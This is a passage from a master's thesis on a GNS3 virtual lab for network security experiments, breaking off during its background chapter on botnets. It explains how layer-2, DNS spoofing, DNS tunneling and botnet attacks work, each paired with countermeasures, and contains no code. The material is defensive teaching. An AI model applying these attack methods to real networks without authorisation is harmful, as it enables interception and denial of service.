Virtual environment for cybersecurity tests

Marco Edgar Fernandes Afonso

Thesis to obtain the Master of Science Degree in
Telecommunications and Informatics Engineering

Supervisor: Prof. Rui Jorge Morais Tomaz Valadas

Examination Committee

Chairperson: Prof. Ricardo Jorge Fernandes Chaves
Supervisor: Prof. Rui Jorge Morais Tomaz Valadas
Member of the Committee: Prof. Paulo Jorge Salvador Serra Ferreira

December 2020
Acknowledgments

I would like to thank my parents for their friendship, encouragement and caring over all these years, for always being there for me and for giving me all the opportunities. Without them this dissertation would not be possible. I would also like to thank to all my friends and colleagues that helped me to grow as a person, learned and made all this journey with me, and were always there to back me up in bad times and to celebrate in good times. Thank you.

I would also like to acknowledge my dissertation supervisor Prof. Rui Valadas for his insight, support and sharing of knowledge that has made this Thesis possible.

Last but not least, to the rest of my family for their support and help throughout all my life.

To each and every one of you – Thank you.
Abstract

Cybersecurity is currently one of the most critical problems in the Internet and for that reason requires deep attention. Alongside the advances of technology, vulnerabilities and attacks are discovered on a daily basis. This MSc Dissertation presents a virtual environment based on GNS3, a network emulation tool, that allows performing a large number of cybersecurity experiments, consisting of attacks that affect the Internet and network configurations that resist/mitigate these attacks. More specifically, this dissertation is organized in two main subjects: network attacks and network protection.

Regarding network attacks, this document describes experiments that demonstrate a set of layer-2 attacks and the corresponding countermeasures. We also address three different examples of attacks to the DNS protocol and the implementation of a botnet. Most of the attacks were performed using Kali Linux but we also developed a tool for performing layer-2 attacks, using the Scapy Python library.

Regarding network protection, we address AAA systems based on RADIUS and TACACS+, firewall solutions based on ASA and zone-based policy technologies, including high-availability provisioning, IDSs based on Snort, and IPSec VPNs based on DMVPN and GETVPN.

This MSc dissertation was supported by Instituto de Telecomunicações.

Keywords

Cybersecurity; Layer-2; AAA; Firewall; ASA; Botnet; VPN; IDS; Kali Linux; GNS3; attack; nmap; dSniff; macof; ettercap; yersinia; hping3; dns2tcp; metasploit; scapy;
Resumo

A cibersegurança é actualmente um dos problemas mais críticos da Internet e, por essa razão, requer uma atenção profunda. A par dos avanços da tecnologia, são diariamente descobertas vulnerabilidades e ataques. Esta dissertação de mestrado apresenta um ambiente virtual que usa o GNS3, uma ferramenta de emulação de rede, que permite realizar um grande número de experiências de cibersegurança, consistindo em ataques que afectam a Internet e configurações de rede que resistam/mitigam estes ataques. Mais especificamente, esta dissertação está organizada em dois temas principais: ataques de rede e protecção de rede.

Relativamente aos ataques de rede, este documento descreve experiências que demonstram um conjunto de ataques de layer-2 e as contra-medidas correspondentes. Também abordamos três exemplos diferentes de ataques ao protocolo DNS e a implementação de uma botnet. A maioria dos ataques foi realizada utilizando o Kali Linux, mas também desenvolvemos uma ferramenta para fazer ataques de layer-2, utilizando a biblioteca Scapy do Python.

Relativamente à protecção de rede, abordamos sistemas AAA que utilizam os protocolos de comunicação RADIUS e TACACS+, soluções de firewall em ASA firewall e ZBPF, incluindo alta disponibilidade, IDSs usando Snort, e VPNs IPSec implementando soluções como DMVPN e GETVPN.

Esta dissertação de mestrado foi apoiada pelo Instituto de Telecomunicações.

Palavras Chave

Cibersegurança; Layer-2; AAA; Firewall; ASA; Botnet; VPN; IDS; Kali Linux; GNS3; ataque; nmap; dSniff; macof; ettercap; yersinia; hping3; dns2tcp; metasploit; scapy;
## Contents

1 Introduction .................................................. 1
   1.1 Motivation ................................................. 3
   1.2 Objectives ................................................ 3
   1.3 Main achievements ....................................... 3
   1.4 Organization of the document ......................... 4

2 Security concepts and techniques ............................. 5
   2.1 Network attacks .......................................... 7
      2.1.1 Layer-2 Security ...................................... 7
          2.1.1.A CAM Overflow attacks ............................ 7
          2.1.1.B DHCP Spoofing attacks ......................... 8
          2.1.1.C DHCP starvation attacks ....................... 9
          2.1.1.D ARP Spoofing attacks ............................ 10
          2.1.1.E STP Manipulation attack ....................... 10
          2.1.1.F DTP attack ....................................... 12
          2.1.1.G VLAN double tagging attack ................... 13
          2.1.1.H PVLAN proxy attack ............................... 13
          2.1.1.I MAC address spoofing attack .................... 14
      2.1.2 DNS attacks .......................................... 15
          2.1.2.A DNS spoofing ..................................... 15
          2.1.2.B DNS tunneling .................................... 16
      2.1.3 Botnets ................................................ 17
          2.1.3.A Architectures ..................................... 17
          2.1.3.B C&C Implementations ............................. 18
      2.1.4 Kali Linux ............................................ 18
          2.1.4.A Example of available tools ..................... 19
   2.2 Network protection ....................................... 20
      2.2.1 Authentication Authorization Accounting (AAA) ........ 20
2.2.2 Firewalls ......................................................... 24
  2.2.2.A Access Control List (ACL)s ................................. 24
  2.2.2.B Packet Filtering Firewall .................................... 25
  2.2.2.C Stateful Firewalls ........................................... 25
  2.2.2.D Firewalls: design and configuration ....................... 26
  2.2.2.E High-availability ........................................... 27

2.2.3 Intrusion Detection Systems (IDS) and Intrusion Prevention System (IPS) .... 28
  2.2.3.A Host-based IPS vs Network-based IPS ...................... 28
  2.2.3.B Signatures .................................................. 29
  2.2.3.C Example of an available system: snort .................. 30

2.2.4 Virtual Private Network (VPN)s .................................. 31
  2.2.4.A Internet Protocol Security (IPSec) ....................... 34
  2.2.4.B Internet Key Exchange (IKE) .............................. 38

3 Experiments ......................................................... 41
  3.1 Network attacks .................................................. 43
    3.1.1 CAM Overflow ............................................... 43
      3.1.1.A Description .............................................. 43
      3.1.1.B Countermeasures ........................................ 44
    3.1.2 DHCP spoofing ............................................... 45
      3.1.2.A Description .............................................. 45
      3.1.2.B Countermeasures ........................................ 48
    3.1.3 DHCP starvation .............................................. 49
      3.1.3.A Description .............................................. 49
      3.1.3.B Countermeasures ........................................ 50
    3.1.4 ARP poisoning/spoofing ..................................... 52
      3.1.4.A Description .............................................. 52
      3.1.4.B Countermeasures ........................................ 53
    3.1.5 STP manipulation ............................................. 54
      3.1.5.A Description .............................................. 54
      3.1.5.B Countermeasures ........................................ 56
    3.1.6 DTP attack .................................................... 57
      3.1.6.A Description .............................................. 57
      3.1.6.B Countermeasures ........................................ 58
  3.1.7 Double tagging attack ........................................ 59
    3.1.7.A Description .............................................. 59
<table>
<thead>
<tr>
<th>Section</th>
<th>Title</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1.7.B</td>
<td>Countermeasures</td>
<td>61</td>
</tr>
<tr>
<td>3.1.8</td>
<td>PVLAN proxy attack</td>
<td>62</td>
</tr>
<tr>
<td>3.1.8.A</td>
<td>Description</td>
<td>62</td>
</tr>
<tr>
<td>3.1.8.B</td>
<td>Countermeasures</td>
<td>63</td>
</tr>
<tr>
<td>3.1.9</td>
<td>MAC address spoofing</td>
<td>64</td>
</tr>
<tr>
<td>3.1.9.A</td>
<td>Description</td>
<td>64</td>
</tr>
<tr>
<td>3.1.9.B</td>
<td>Countermeasures</td>
<td>66</td>
</tr>
<tr>
<td>3.1.10</td>
<td>DNS spoofing attack</td>
<td>66</td>
</tr>
<tr>
<td>3.1.10.A</td>
<td>Description</td>
<td>66</td>
</tr>
<tr>
<td>3.1.11</td>
<td>DNS Kaminsky attack</td>
<td>70</td>
</tr>
<tr>
<td>3.1.11.A</td>
<td>Description</td>
<td>70</td>
</tr>
<tr>
<td>3.1.12</td>
<td>DNS tunneling attack</td>
<td>72</td>
</tr>
<tr>
<td>3.1.13</td>
<td>Botnets</td>
<td>75</td>
</tr>
<tr>
<td>3.1.14</td>
<td>Layer-2 attacks tool</td>
<td>77</td>
</tr>
<tr>
<td>3.1.14.A</td>
<td>Scanning features</td>
<td>78</td>
</tr>
<tr>
<td>3.1.14.B</td>
<td>Attacking features</td>
<td>79</td>
</tr>
<tr>
<td>3.2</td>
<td>Network protection</td>
<td>84</td>
</tr>
<tr>
<td>3.2.1</td>
<td>AAA</td>
<td>84</td>
</tr>
<tr>
<td>3.2.2</td>
<td>Firewalls</td>
<td>90</td>
</tr>
<tr>
<td>3.2.2.A</td>
<td>ASA Firewall</td>
<td>93</td>
</tr>
<tr>
<td>3.2.2.B</td>
<td>Zone-based policy Firewall</td>
<td>102</td>
</tr>
<tr>
<td>3.2.3</td>
<td>High availability - ASA firewall</td>
<td>105</td>
</tr>
<tr>
<td>3.2.3.A</td>
<td>Configuration</td>
<td>105</td>
</tr>
<tr>
<td>3.2.3.B</td>
<td>Tests</td>
<td>108</td>
</tr>
<tr>
<td>3.2.4</td>
<td>Snort</td>
<td>112</td>
</tr>
<tr>
<td>3.2.4.A</td>
<td>Configuration file</td>
<td>112</td>
</tr>
<tr>
<td>3.2.4.B</td>
<td>Rule definition and attacks</td>
<td>113</td>
</tr>
<tr>
<td>3.2.5</td>
<td>VPNs</td>
<td>115</td>
</tr>
<tr>
<td>3.2.5.A</td>
<td>DMVPN</td>
<td>116</td>
</tr>
<tr>
<td>3.2.5.B</td>
<td>GETVPN</td>
<td>125</td>
</tr>
</tbody>
</table>

4 Conclusion 131

4.1 Discussion 133

4.2 Future work 133

References 135

A Code used in experiments 139
# Acronyms

<table>
<thead>
<tr>
<th>Acronym</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>AAA</td>
<td>Authentication Authorization Accounting</td>
</tr>
<tr>
<td>ACL</td>
<td>Access Control List</td>
</tr>
<tr>
<td>ACE</td>
<td>Access Control Entry</td>
</tr>
<tr>
<td>AH</td>
<td>Authentication Header</td>
</tr>
<tr>
<td>ARAP</td>
<td>AppleTalk Remote Access Protocol</td>
</tr>
<tr>
<td>ARP</td>
<td>Address Resolution Protocol</td>
</tr>
<tr>
<td>ASA</td>
<td>Adaptive Security Appliance</td>
</tr>
<tr>
<td>ASDM</td>
<td>Adaptive Security Device Manager</td>
</tr>
<tr>
<td>AVP</td>
<td>Attribute Value Pair</td>
</tr>
<tr>
<td>BID</td>
<td>Bridge ID</td>
</tr>
<tr>
<td>BPDU</td>
<td>Bridge Protocol Data Unit</td>
</tr>
<tr>
<td>CAM</td>
<td>Content Addressable Memory</td>
</tr>
<tr>
<td>DAI</td>
<td>Dynamic ARP Inspection</td>
</tr>
<tr>
<td>DDoS</td>
<td>Distributed Denial of Service</td>
</tr>
<tr>
<td>DES</td>
<td>Data Encryption Standard</td>
</tr>
<tr>
<td>DGA</td>
<td>Domain Generation Algorithm</td>
</tr>
<tr>
<td>DHCP</td>
<td>Dynamic Host Configuration Protocol</td>
</tr>
<tr>
<td>DMVPN</td>
<td>Dynamic Multipoint VPN</td>
</tr>
<tr>
<td>DMZ</td>
<td>Demilitarized Zone</td>
</tr>
<tr>
<td>DNS</td>
<td>Domain Name System</td>
</tr>
<tr>
<td>DNSSEC</td>
<td>Domain Name System Security Extensions</td>
</tr>
<tr>
<td>DoS</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>DR</td>
<td>Designated Router</td>
</tr>
<tr>
<td>Abbreviation</td>
<td>Description</td>
</tr>
<tr>
<td>--------------</td>
<td>-------------</td>
</tr>
<tr>
<td>DTP</td>
<td>Dynamic Trunking Protocol</td>
</tr>
<tr>
<td>EAP</td>
<td>Extensible Authentication Protocol</td>
</tr>
<tr>
<td>EAPOL</td>
<td>Encapsulation Security Protocol Over LAN</td>
</tr>
<tr>
<td>ESP</td>
<td>Encapsulation Security Protocol</td>
</tr>
<tr>
<td>FTP</td>
<td>File Transfer Protocol</td>
</tr>
<tr>
<td>GDOI</td>
<td>Group Domain of Interpretation</td>
</tr>
<tr>
<td>GETVPN</td>
<td>Group Encrypted Transport VPN</td>
</tr>
<tr>
<td>GM</td>
<td>Group Member</td>
</tr>
<tr>
<td>GRE</td>
<td>Generic Routing Encapsulation</td>
</tr>
<tr>
<td>HMAC</td>
<td>Hashed Message Authentication Code</td>
</tr>
<tr>
<td>HTTP</td>
<td>Hypertext Transfer Protocol</td>
</tr>
<tr>
<td>HTTPS</td>
<td>Hypertext Transfer Protocol Secure</td>
</tr>
<tr>
<td>ICMP</td>
<td>Internet Control Message Protocol</td>
</tr>
<tr>
<td>IDS</td>
<td>Intrusion Detection Systems</td>
</tr>
<tr>
<td>IETF</td>
<td>Internet Engineering Task Force</td>
</tr>
<tr>
<td>IGRP</td>
<td>Interior Gateway Routing Protocol</td>
</tr>
<tr>
<td>IKE</td>
<td>Internet Key Exchange</td>
</tr>
<tr>
<td>IMAP</td>
<td>Internet Message Access Protocol</td>
</tr>
<tr>
<td>IPS</td>
<td>Intrusion Prevention System</td>
</tr>
<tr>
<td>IPSec</td>
<td>Internet Protocol Security</td>
</tr>
<tr>
<td>IRC</td>
<td>Internet Relay Chat</td>
</tr>
<tr>
<td>ISAKMP</td>
<td>Internet Security Association and Key Management Protocol</td>
</tr>
<tr>
<td>KS</td>
<td>Key Server</td>
</tr>
<tr>
<td>KEK</td>
<td>Key Encryption Key</td>
</tr>
<tr>
<td>LAN</td>
<td>Local Area Network</td>
</tr>
<tr>
<td>MAC</td>
<td>Media Access Control</td>
</tr>
<tr>
<td>MitM</td>
<td>Man in the Middle</td>
</tr>
<tr>
<td>NAT</td>
<td>Network Address Translation</td>
</tr>
<tr>
<td>NBMA</td>
<td>Non-broadcast Multiple Access</td>
</tr>
</tbody>
</table>
NHC  Next Hop Client
NHRP  Next Hop Resolution Protocol
NHS  Next Hop Server
OS  Operating System
OSI  Open System Interconnection
OSPF  Open Shortest Path First
P2P  Peer-to-Peer
POP3  Post Office Protocol
PPP  Point-to-Point Protocol
PSK  Pre-Shared Key
PVLAN  Private VLAN
RADIUS  Remote Access Dial In User Service
RIP  Routing Information Protocol
RSA  Rivest-Shamir-Adleman
SA  Security Association
SCPS  Space Communications Protocol Specifications
SMTP  Simple Mail Transfer Protocol
SNMP  Simple Network Management Protocol
SPI  Security Parameter Index
SSH  Secure Shell
STP  Spanning Tree Protocol
TACACS  Terminal Access Controller Access Control System
TCP  Transmission Control Protocol
TEK  Traffic Encryption Key
TTL  Time to Live
UDP  User Datagram Protocol
VLAN  Virtual LAN
VPN  Virtual Private Network
WAN  Wide Area Network
ZBPF  Zone-based Police Firewall
Introduction

Contents

1.1 Motivation ............................................. 3
1.2 Objectives ........................................ 3
1.3 Main achievements .................................. 3
1.4 Organization of the document ....................... 4
1.1 Motivation

Cybersecurity is one of the biggest concerns on the Internet these days because it is what avoids systems and networks from being breached and theft. There are many reasons for a network to get attacked. Security breaches, for example in a company’s network can, for instance, disrupt e-commerce, compromise private information about employees and data. This can result in intellectual property theft and even lead an enterprise to bankruptcy. To cause a security breach two things are needed. The first thing is an attack vector, which is a way to gain access to a network or a device. Many attack vectors come from outside the targeted network, called external threats. However, it is also possible that an attack vector starts from inside. These are called internal threats, for instance, a disconnected critical network connection or an infected USB device. The second required thing to cause a security breach is an agent to create and use this attack vector.

With all the tools and mechanisms developed since cybersecurity is a known issue, even an inexperienced attacker can perform an offense capable of taking an entire network down. This type of problems are not admissible in a world where reliance on computer systems, Internet, wireless network, and “smart” devices constantly increases. It’s part of engineers’ job to ensure that the systems are as secure as possible against all the adversities. The work developed in this dissertation focuses on network infrastructure security.

1.2 Objectives

To configure and test a large set of countermeasures to prevent existing security threats, it is necessary to have some kind of infrastructure. Thus, this work has the objective to explore network attacks and network protection solutions using a virtual environment based on GNS3. GNS3 is a network emulation tool that allows creating diverse network topologies and emulating attacks, which precisely fulfills the intended goal. If cybersecurity tests are performed in a production environment, there is a high probability to jeopardize some hosts or even the entire network. For this matter, the virtual environment enables the possibility of exploring configurations and vulnerabilities without concerning about targeted networks.

1.3 Main achievements

The developed system covers two main subjects: network attacks and network protection. Regarding network attacks this document describes experiments that demonstrate a set of layer-2 attacks and the corresponding countermeasures. We also address three different examples of attacks to the DNS protocol and the implementation of a botnet. Most of the attacks were performed using Kali Linux but
we also developed a tool for performing layer-2 attacks, using the Scapy Python library.

Regarding network protection, we address AAA systems based on RADIUS and TACACS+, firewall solutions based on ASA and zone-based policy technologies, including high-availability provisioning, IDSs based on Snort, and IPSec VPNs based on DMVPN and GETVPN.

1.4 Organization of the document

This document is organized as follows. Chapter 2 covers the theoretical concepts and techniques about cybersecurity that will be used in this MSc dissertation. Chapter 3 describes the experiments developed, mentioning the ways and tools to perform an attack as well as the used countermeasures to prevent it. This chapter also contains the experiments regarding network protection. Finally, chapter 4 presents the conclusions.
2

Security concepts and techniques

Contents

2.1 Network attacks ......................................................... 7
  2.1.1 Layer-2 Security ................................................. 7
  2.1.2 DNS attacks ......................................................... 15
  2.1.3 Botnets .............................................................. 17
  2.1.4 Kali Linux ......................................................... 18

2.2 Network protection ..................................................... 20
  2.2.1 Authentication Authorization Accounting (AAA) ............. 20
  2.2.2 Firewalls .......................................................... 24
  2.2.3 Intrusion Detection Systems (IDS) and Intrusion Prevention System (IPS) ........ 28
  2.2.4 Virtual Private Network (VPN)s ............................... 31
To use security techniques in the best possible way, first, it is crucial to understand them. In this chapter, the concepts and techniques related to the dissertation to be carried out will be explained. The concept set comprises two sections: network attacks and network protection. The section about network attacks describes layer-2 security, Domain Name System (DNS) attacks and botnets. The section about network protection describes Authentication Authorization Accounting (AAA), firewalls, Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), Virtual Private Networks (VPNs) and Kali Linux.

## 2.1 Network attacks

### 2.1.1 Layer-2 Security

In the past few years, switching has been playing one of the most important parts in shifting data in a reliable, efficient and secure way across networks. The data-link layer, corresponding to the Layer-2 of the Open System Interconnection (OSI) model, provides the means to transfer data between network hosts, whether they are adjacent hosts in a Wide Area Network (WAN) or hosts on the same Local Area Network (LAN). A frame is the data unit of bits used in Layer 2. Frames are sent and received from hosts on the same LAN. They have a defined structure and can be used for control-plane activities and error detection. Some of the frames do not carry user data, being used instead to control the traffic. In terms of security, Layer-2 confers some challenges. In this section we will address the following attacks:

- Content Addressable Memory (CAM) overflow attacks;
- Dynamic Host Configuration Protocol (DHCP) spoofing attacks;
- DHCP starvation attacks;
- Address Resolution Protocol (ARP) spoofing attacks;
- Spanning Tree Protocol (STP) manipulation attacks;
- Virtual LAN (VLAN) hopping attacks;
- Media Access Control (MAC) address spoofing attacks;
- Private VLAN (PVLAN) proxy attacks.

### 2.1.1.A CAM Overflow attacks

Switches store the source MAC address of the received packets and the IDs of the ports at which the packets were received in a table called CAM table. This is used to forward packets directly to the
intend destinations, avoiding the flooding of packets to all switch ports. The existing problem is that the switch, depending on the available resources (memory space), can hold only a maximum number of MAC addresses in the CAM table. This problem can be exploited by performing a CAM overflow attack. A CAM overflow attack happens when an attacker connected to one or more ports of a switch performs a Denial of Service (DoS) attack that attempts to flood the CAM table, as illustrated in figure 2.1. This attack injects thousands, or even millions, of random MAC addresses into the switch, which causes unavailability in the switch due to the CAM tables' memory limit. After that the switch will forward the frames out of all ports behaving as a hub. To prevent CAM overflow attacks, network engineers came up with a solution that limits the number of MAC addresses of the hosts that access the same port of the switch. In the section 3.1.1 we perform the experiment where we address this topic.

![Figure 2.1: CAM Overflow attack](image)

### 2.1.1.B DHCP Spoofing attacks

The DHCP [1] spoofing attack, a Man in the Middle (MitM) attack, is an attack where a device can act as a fake DHCP server in the network. This device can gain access to a victim's traffic by spoofing responses that would be sent by the authentic DHCP server. To understand how the attack works, we first describe the operation of DHCP. It all starts with an available client host sending a DHCP Discover message to the network to discover a DHCP server. This message is sent in broadcast, therefore all hosts on the LAN will receive it. The DHCP server that receives this message sends to the network a DHCP Offer message offering an available IP address. After that, the client sends a DHCP Request message to lease the IP address. Finally, a DHCP server will answer with a DHCP Ack message to the client, with IP address, subnet mask, and default gateway. When the attack is performed (figure 2.2), since we have two DHCP servers, a fake one and a valid one, the fake DHCP server will try to win the race against the true one to be the first to assign an IP address, subnet mask and default gateway to the client request. If the fake DHCP server succeeds, the default gateway address of the client host will correspond to the attacker's IP address. From this point, all the traffic coming from the client will be directed to the attacker. With that being possible, the attacker will easily be able to sniff packets coming from the client. After that, the attacker can simply forward the packets to its real destination, remaining
unnoticed, acting as a middle-man. To prevent a DHCP spoofing from happening, engineers fabricated a solution that controls the traffic in switch ports, to block DHCP messages coming from rogue DHCP servers. In the section 3.1.2 we perform the experiment where we address this topic.

2.1.1.C DHCP starvation attacks

A DHCP server contains a pool of IP addresses that can assign to clients in the network. These IP addresses are assigned by the server responding to the DHCP Request messages sent by the clients. The attack that explores this vulnerability is a DoS attack named DHCP starvation attack. To perform this, an attacker continuously sends forged DHCP Discover messages to the DHCP server. The server will respond to these messages with DHCP Offer messages and consequently, the attacker will send multiple DHCP Request messages to the server (figure 2.3). As the server finishes the messages
exchange with DHCP Ack messages, it can no longer provide IP addresses to the legitimate clients in the network, since it already assigned all the available IP addresses in the pool. This causes a denial of service on a network, since the DHCP server stops working properly. To prevent this attack, there are solutions, to be configured at switches, that limit the number of DHCP packets per second that an interface receives, shutting down the interface if the limit is exceeded, that otherwise, would cause starvation in the DHCP server. In the section 3.1.3 we perform the experiment where we address this topic.

2.1.1.D ARP Spoofing attacks

ARP [2] is the protocol that makes an appropriate mapping of a MAC address to an IP address. Network equipment keep an ARP lookup table where all the associations between MAC addresses and IP addresses are stored. When a network device needs to communicate with another, for example by pinging a host, the system will first of all examine this table looking for an entry with the wanted MAC address assigned to an IP address. If the MAC address is already cached, there is no need to use ARP. If the IP address is not associated to a MAC address in the ARP table, the device will try to discover it by sending an ARP request. The machine with the requested IP address will answer with ARP reply that will also contain the MAC address. ARP poisoning/spoofing is an effective way of sniffing traffic since it is possible to redirect packets from a target client for an attacker by forging ARP replies (figure 2.4). This can be done because these forged ARP replies will change the MAC address of the default gateway in the target ARP table, which originates redirection of the target outcoming packets. This attack is always successful since the ARP replies are continuously sent to the victim, replacing the correct default gateway address by the attacker address. From this point, the attacker can see the traffic from the host to the default gateway. The way engineered to prevent this attack is to ensure that a switch only relays valid ARP messages. ARP messages will be considered invalid if an intercepted packet has an invalid binding between IP and MAC address. In the section 3.1.4 we perform the experiment where we address this topic.

2.1.1.E STP Manipulation attack

To increase the availability in Layer 2 we use redundancy to protect the network from having a single failure point, for example, a broken cable or even a failed switch. When this redundancy is assured in a network, STP [3] guarantees that loops and duplicated frames don’t occur, because they can have major implications in the operation of a network. This protocol ensures that there is only one logical path between all the origin-destination pairs on a network. Bridge Protocol Data Unit (BPDU) are frames exchanged by switches for STP. These frames dynamically block/unblock redundant paths when there are changes in the network, for example, a failure in a switch. STP designates a single switch as the root
bridge and uses it to do all the path calculations. This root bridge is elected through a process where all the
switches exchange BPDU frames, containing the Bridge ID (BID). The BID contains a priority value,
the MAC address of the sending switch and an optional extended system ID. The switch with the lowest
BID is chosen as the root bridge. When the root bridge is selected, all the other switches use STP,
considering path and port costs, to determine which ports to block. These path costs are calculated
using the sum of the port costs. When there are multiple paths to be selected, STP chooses the path
with the lowest cost. When all the paths are established for all the switches, each switch assign one of
the three roles to each port:

- **Root port**: switch port closest to the root bridge;
- **Designated port**: non-root port that allows forwarding traffic;
- **Alternate port**: backup port configured in a blocking state to prevent loops;

After covering the way of working of STP, the arising vulnerability is the STP manipulation attack. Attackers
can manipulate STP to perform an attack by spoofing the root bridge and modifying the network’s
topology. To accomplish this, the attacker broadcasts STP configuration and topology change BPDU’s
to force the spanning tree to recalculate the paths. The modified BPDU sent by the attacker carries a
lower bridge priority, attempting to be selected as the root bridge (figure 2.5). In case of success, the
attacking host becomes the root bridge and get access to traffic that otherwise wouldn’t be possible. To
mitigate STP manipulation attacks, network engineers came up with mechanisms to enforce the place-
ment of the root bridge in the network, preventing that an inappropriate switch becomes the root bridge. Another security mechanism is disabling ports that receive BPDU trying to modify the spanning-tree. In the section 3.1.5 we perform the experiment where we address this topic.

2.1.1.F DTP attack

The DTP attack allows that traffic from one VLAN can be accessed by another VLAN without the need of a router. To perform this, an attacker takes advantage of a vulnerability in the automatic trunking port that some switches contain in their ports. Trunk ports are ports that carry the VLANs traffic accessible by a specific switch, marking frames with a unique tag, to identify to which VLAN the frame belongs. The attacker can pretend to be a switch, establishing a trunk link with the victim switch (figure 2.6). If it succeeds, the attacker will be able to access all the VLANs on the switch. To prevent Dynamic Trunking Protocol (DTP) attacks from happening, it is necessary to disable the auto-trunking negotiation on ports and manually enable trunk links. Another good practice to mitigate DTP attacks is to disable unused ports in all the switches on the network. In the section 3.1.6 we perform the experiment where we address this topic.
2.1.1.G VLAN double tagging attack

The VLAN double tagging attack takes advantage of the 802.1Q protocol. This protocol is responsible for marking each packet with a tag, that indicates to which VLAN it belongs. This attack intents to access to a VLAN that should not be accessed. In order to explain the way the attack works, we provide an example (figure 2.7). To perform the attack, the attacker sends a packet with two tags attached to it to a switch. The first tag has to correspond to the native VLAN of the trunk port and the second tag corresponds to the VLAN that the attacker intends to have access. When the packet arrives to the first switch, it sees its first tag removed and it is forwarded, because it is in the native VLAN. When it arrives to the second switch the initially hidden tag (by the first one) is now removed, providing access to the VLAN. To prevent this kind of attack, the native VLAN must be configured different from the default VLAN (VLAN 1), in order to reduce the attacker possibilities to get the native VLAN number right. In the section 3.1.7 we perform the experiment where we address this topic.

2.1.1.H PVLAN proxy attack

After addressing the matter of VLANs we approach the concept of PVLAN. Sometimes, hosts connected to the same switch require to keep their traffic hidden from their neighbours. This can happen, for example, in a hotel, where all the clients in a floor want to keep their traffic private regarding their neighbours. PVLANs assure this by providing isolation between ports in a switch. They restrict traffic at the layer-2. This is possible through the existence of 3 different types of ports in a switch:

- **Promiscuous port**: switch port that can communicate with all the other ports;
- **Community port**: switch port that can communicate with the other community ports and with promiscuous ports;
- **Isolated port**: switch port that can only communicate with promiscuous ports.

Although PVLAN supplements the VLAN technology, it comes with a vulnerability that can be explored. Since an isolated port is inaccessible by any other ports apart from the promiscuous port, an attacker
has to use this port to access an isolated one. This is possible through a PVLAN proxy attack where the attacker tries to communicate with the host connected to the isolated port (victim) by sending a packet destined to the victim IP address and the MAC address of the router connected to the promiscuous port. Since the router is connected to the promiscuous port, the switch will forward all the incoming traffic regarding the destination. To perform this attack the attacker needs to add an entry in its own ARP table, where a match between the victim IP address and the router MAC address is added (figure 2.8). In order to prevent this attack, the network administrator, needs to configure an access list in the router

![Figure 2.8: PVLAN proxy attack](image)

that blocks the traffic incoming from the same subnet as the victim. In the section 3.1.8 we perform the experiment where we address this topic.

### 2.1.1.1 MAC address spoofing attack

The MAC address spoofing is another of the possible attacks that exploit a vulnerability existing in layer-2. As already addressed in this document, spoofing attacks occur when an host impersonates another to get access to information that otherwise would not be able to get. Switches keep record of MAC addresses in their CAM tables, by associating each MAC address to a switch port. When a MAC address spoofing attack occurs, the attacker changes his MAC address to the MAC address of the victim. After that, the switch CAM table, changes the association of the victim MAC address from the port where the victim is connected, to the port where the attacker is connected (figure 2.9). If the attack is successfully performed, the switch will now redirect the packets destined to the victim, to the attacker. For this attack to happen successfully, the attacker needs to know the MAC address of the victim intended to attack. In order to prevent this kind of attack there are solutions that store multiple MAC address and IP address bindings. If the incoming bindings do not match with the correct stored bindings the packets are discarded. In the section 3.1.9 we perform the experiment where we address this topic.
2.1.2 DNS attacks

In this section we will describe attacks to the DNS protocol, an application layer protocol responsible for the naming system of the resources connected to the Internet. It translates the easier to read names of domains to IP addresses.

The attacks to the DNS include the manipulation of DNS messages content to redirect the target into malicious domains. These domains can contain malware such as phishing, SPAM, worms, botnets, etc. Regarding botnets, in this context, the domains used to connect with the command and control server of the botnet can be generated by Domain Generation Algorithm (DGA), which are algorithms that periodically generate a large number of these domains. There are some works regarding DNS traffic analysis that intend to find out which domains are malicious, such as G. Zhao [4] and Exposure [5]. In the next subsections we approach some examples of DNS attacks.

2.1.2.A DNS spoofing

The DNS spoofing attack, also known as DNS cache poisoning attack, consists in the creation of a forged DNS record to redirect the victim into a fake web page (figure 2.10). This attack has 2 ways to be deployed:

• **MitM**: The attacker redirects the DNS requests sent by the victim to himself, for example, using an ARP spoofing attack and then, sends forged DNS responses, redirecting the victim to a forged web page; In the section 3.1.10 we perform the experiment where we address this topic.

• **Kaminsky**: The attacker introduces a forged DNS record into the DNS server, by continuously making requests to the DNS server and then forging replies when the DNS server queries an authoritative DNS server. When the victim sends a request to the DNS server, it will be redirected to a forged web page. In the section 3.1.11 we perform the experiment where we address this topic.

![Figure 2.9: MAC address spoofing attack](image)
To prevent a DNS spoofing attack from happening, a protocol called Domain Name System Security Extensions (DNSSEC) \[6\] was developed, which was designed to DNS. DNSSEC adds data authentication and integrity to the DNS. DNS is a protocol that doesn’t use encryption, making it easy to intercept traffic and doesn’t validate the IP addresses to which they are redirecting traffic.

2.1.2.B DNS tunneling

The DNS tunneling attack occurs when an attacker sends data over the DNS messages. This kind of attack takes advantage of security mechanisms, such as Firewalls, that will probably block some traffic, for example Hypertext Transfer Protocol (HTTP) or Transmission Control Protocol (TCP), but will allow the DNS protocol. These DNS messages, in this case DNS responses, are forged by the attacker, in order to contain the intended traffic that will be sent to the victim. An example of this attack is presented below (figure 2.11). In the section 3.1.12 we perform the experiment where we address this topic.
2.1.3 Botnets

Botnets are significant threats in the Internet, since attackers can infect and control a vast number of hosts, being able to use them in coordinated attacks that can cause serious damage (e.g. Distributed Denial of Service (DDoS), SPAM). A botnet constitutes a network of bots, which depending on the number of bots, may achieve the power of a supercomputer. The bots contained in a botnet are remotely controlled by an attacker, usually named bot master. When a host is infected by malicious code that installs a backdoor, it becomes a bot. After that the bot master can manipulate it via C&C (Command and Control), which is a server used to control all the bots in the botnet [7]. In the section 3.1.12 we perform the experiment where we address this topic.

2.1.3.A Architectures

Regarding architecture, botnets present two different types. The centralised architecture and the Peer-to-Peer (P2P) architecture. In the centralised architecture (figure 2.12(a)), the C&C server provides a way to the bot master send the commands to the infected hosts. The attacker sends the commands to the C&C server which subsequently sends the commands to the bots. Finally, when the bots execute the received commands, they report the results to the C&C server, providing them to the bot master.

